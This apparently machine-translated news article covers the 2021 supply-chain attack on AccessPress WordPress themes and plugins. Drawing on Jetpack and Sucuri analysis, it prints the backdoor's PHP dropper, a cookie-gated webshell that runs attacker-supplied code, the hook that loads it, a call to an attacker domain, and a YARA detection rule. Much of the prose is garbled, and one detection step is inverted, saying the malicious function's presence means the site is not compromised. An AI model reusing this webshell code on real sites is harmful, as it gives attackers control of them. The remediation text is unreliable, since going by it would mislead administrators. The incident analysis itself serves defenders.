Automattic security researchers recently reported that authors of popular WordPress AccessPress plugins and themes have been compromised and their software replaced with vrole versions. The attack appears to have been successfully carried out in September last year and was only made public recently. Users who used software obtained directly from the AccessPress website unknowingly provided attackers with backdoor access, resulting in an unknown number of compromised websites. So far the official WordPress SEO software does not appear to be having any effects, although the proactive step has been taken to remove it until a proactive code review can be performed.
WordPress is a free, open source and free content management system (CMS). This software written in PHP is based on a MySQL database and is distributed by the WordPress.org foundation. The functionalities of WordPress allow him to create and manage different types of websites: showcase site, online sales site, application site, blog, portfolio, institutional site, educational site, etc.
The W3Techs barometer indicates that the use of the WordPress CMS continues to grow: the CMS is now used on 43.3% of websites worldwide as of January 24, 2022.
W3Techs crawls the top ten million websites determined by Amazon’s Alexa rating service and seeks to determine the technologies they leverage. Detailed reports are sold on his findings. But W3Techs also offers public data on its results. These are usually offered in the form of a chart that comes to show the percentages of websites using various content management systems.
An attack on WordPress themes and plugins
A massive supply chain attack compromised 93 WordPress themes and plugins to contain a backdoor, giving threat actors full access to websites.
In total, the malicious actors compromised 40 themes and 53 plugins belonging to AccessPress, a developer of WordPress add-ons used in more than 360,000 active websites.
The attack was uncovered by researchers at Jetpack, creators of a security and optimization tool for WordPress sites, who discovered that a PHP buggy had been added to themes and plugins.
Jetpack believes a malicious actor hacked the AccessPress website to compromise the software and infect other WordPress sites.
What is a supply chain attack?
Rather than directly tampering with systems by exploiting vulnerable software components, attackers can instead tamper with the very source where website and network administrators get their software. Web security enthusiasts may recall the infamous SolarWinds attack of 2020, where thousands of US government agencies and businesses were hacked by such an attack. In this case, the attackers gained access superuser SolarWinds Orion software, which is used by many high-level agencies to administer network and software updates. Once the software source is compromised, any network or website administrator who installs software or updates from the source unknowingly compromises their own system.
A hidden door for total control
As soon as administrators installed a compromised AccessPress product on their site, actors added a new “initial.php” file to the main theme directory and included it in the main “functions.php” file. This file contains a base64 encoded payload that writes a webshell to the ./wp-includes/vars.php file.
The malicious code completed the installation of the drobe door by decoding the payload and injecting it into the “vars.php” file, essentially giving threat actors remote control of the infected site.
The only way to detect this threat is to use a basic file integrity monitoring solution, as the malware drops the dropper of “initial.php” files to cover his tracks.
According to Sucuri researchers who investigated the case to determine the actors’ objective, the attackers used the drobe door to redirect visitors to malware and scam distribution sites. Therefore, the campaign was not very sophisticated.
It is also possible that they used this malware to sell access to drobs websites on the dark web, which would be an effective way to mount such a large-scale infection.
Analyze
The infected extensions contained a dropper for a webshell that gives attackers full access to infected sites. The dropper is located in the initial.php file located in the main plugin or theme directory. When executed, it installs a cookie-based webshell in wp-includes/vars.php. The shell is installed as a function just before the wp_is_mobile() function with the name of wp_is_mobile_fix(). This is probably to avoid suspicion that you can casually scroll through the vars.php file.
1 | function makeInit() { $b64 = 'ba' . 'se64' . '_dec' . 'ode'; $b = 'ZnVuY3Rpb2........TsKCg=='; $f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php'; if(file_exists($f)) { $fp = 0777 & @fileperms($f); $ft = @filemtime($f); $fc = @file_get_contents($f); if(strpos($fc, 'wp_is_mobile_fix') === false) { $fc = str_replace('function wp_is_mobile()', $b64($b) . 'function wp_is_mobile()', $fc); @file_put_contents($f, $fc); @touch($f, $ft); @chmod($f, $fp); } return true; } return false; } |
Once the shell is installed, the dropper will attempt to establish a connection by loading a remote image from the URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg with the url of the infected site and information about which theme it uses as query arguments. Finally, it deletes the source file of the dropper to avoid detection when the request completes.
1 | function finishInit() { unlink(__FILE__); } add_action( 'admin_notices', 'wp_notice_plug', 20 ); if ( !function_exists( 'wp_notice_plug' ) ) { function wp_notice_plug() { echo ' . $_SERVER["HTTP_HOST"] . "&phn=accesspress-anonymous-post">'; } } register_shutdown_function('finishInit'); |
. The webshell itself fires if the user agent string in the request is wp_is_mobile and the request contains eight specific cookies. It gathers and executes a payload from these provided cookies.
1 | $is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile'); $g = $_COOKIE; (count($g) == 8 && $is_wp_mobile) ? (($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) && ($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) && @$_iv()) : $g; |
The researchers also saw another, presumably older, variant of the gate directly embedded in the theme/plugin's functions.php file. This variant uses the same mechanism by gathering the payload of eight cookies, but does not filter on the user agent string of the request.
To ensure that the dropper is executed, the main plugin file (for plugins) or functions.php file (for themes) has been modified with code to execute the inital.php file if it exists.
1 | if(is_admin()) { add_action( "init", 'apap_plugin_check' ); } function apap_plugin_check(){ if(file_exists(__DIR__ . "/inital.php")){ include(__DIR__ . "/inital.php"); } } |
A striking detail of the timestamps of the compromised plugins is that they all date from the beginning of September. The majority are from September 6 and 7, with a few files from September 2 and 3. Likewise for themes, all were compromised on September 22, except accessbuddy on September 9.
Also, the timestamps in the zip archives are very uniform, with almost all files with the exact same timestamp, except for the modified main plugin file and the added dropper file which is timestamped a few minutes later. (usually about 25 minutes after the other files in the archive).
However, looking at the timestamps of zip files downloaded from the wordpress.org repository, we suggest a distribution of timestamps corresponding to when the plugin/theme was updated. Also, the distribution of timestamps in the archive is less uniform and reflects which files have been updated in the release and which are unchanged from an older release.
This suggests to us that the AccessPress Themes website files were modified intentionally and as a coordinated action after their initial publication. The compromise seems to have been made in two stages, one for the plugins and a later one for the themes. Each of them with some earlier attempts, perhaps to refine the process.
Our survey only covered the themes and plugins available for free on the AccessPress Themes website. We assume their paid professional themes are similarly affected, but we haven't reviewed them. If you have any of these, please contact AccessPress Themes support for further advice.
How do I know if I am infected?
If you have any of the compromised plugins or themes installed on your site, removing/replacing/updating them will not root any webshells that may be planted there.
As such, website administrators are advised to scan their sites for signs of compromise by doing the following:
- check your wp-includes/vars.php file around lines 146-158. If you see a "wp_is_mobile_fix" function with obfuscated code, you haven't compromised;
- query your filesystem for "wp_is_mobile_fix" or "wp-theme-connect" to see if there are any affected files;
- replace your main WordPress files with new copies;
- upgrade the affected plugins and switch to a different theme;
- change wp-admin and database passwords.
Jetpack has provided the following YARA rule which can be used to check if a site to infect and detect both dropper and webshell install:
1 | rule accesspress_backdoor_infection
{
strings:
// IoC's for the dropper
$inject0 = "$fc = str_replace('function wp_is_mobile()',"
$inject1 = "$b64($b) . 'function wp_is_mobile()',"
$inject2 = "$fc);"
$inject3 = "@file_put_contents($f, $fc);"
// IoC's for the dumped payload
$payload0 = "function wp_is_mobile_fix()"
$payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
$payload2 = "$g = $_COOKIE;"
$payload3 = "(count($g) == 8 && $is_wp_mobile) ?"
$url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/
condition:
all of ( $inject* )
or all of ( $payload* )
or $url0
}
|
Drobe doors detected in September
Jetpack first detected the drobe door in September 2021, and soon after, researchers discovered that the malicious actors had compromised all free plugins and themes owned by the provider. Jetpack believes paid AccessPress add-ons were probably compromised but have not tested them, so this cannot be confirmed.
While investigating a compromised site, we discovered the suspicious code in a theme from AccessPress Themes (aka Access Keys), a provider with a large number of popular themes and plugins. Upon further investigation, we found that all of the vendor's themes and most plugins contained this suspicious code, but only if downloaded from their own website. The same extensions were fixed if downloaded or installed directly from the WordPress.org directory.
Due to the way the extensions were compromised, we suspected that an external attacker had penetrated the AccessPress Themes website in the but of using their extensions to infect other sites.
We immediately contacted the seller, but at first we did not receive a response. After passing it on to the WordPress.org plugin team, our suspicions were confirmed. The AccessPress Themes websites were hacked during the first half of September 2021, and a door robbed of the extensions available for download on their site.
Once we established a communication channel with the vendor, we shared our detailed findings with them. They immediately removed the offending extensions from their website.
Most plugins are known since t updated and clean versions are directories at the bottom of this article. However, the themes concern have not been updated and are taken from the WordPress.org theme repository. If you have one of the themes listed at the bottom of this article installed on your site, we recommend that you migrate to a new theme as soon as possible.
Most of the products had probably been compromised by early September due to timestamps. On October 15, 2021, the vendor removed extensions from the official download portal until the point of compromise is located and fixed. On January 17, 2022, AccessPress released clean new versions for all affected plugins.
However, the themes concern haven't been cleaned up yet, so migrating to a different theme is the only way to mitigate security risks.
Users of AccessPress plugins and themes can read Jetpack's post for a full list of fixed products.
Sources: Sucuri, JetPack, W3Techs
And you?
are you a site administrator?
What do you think of CMS in general and WordPress in particular?
are you worried about this attack?
What measures do you recommend to best protect a website?
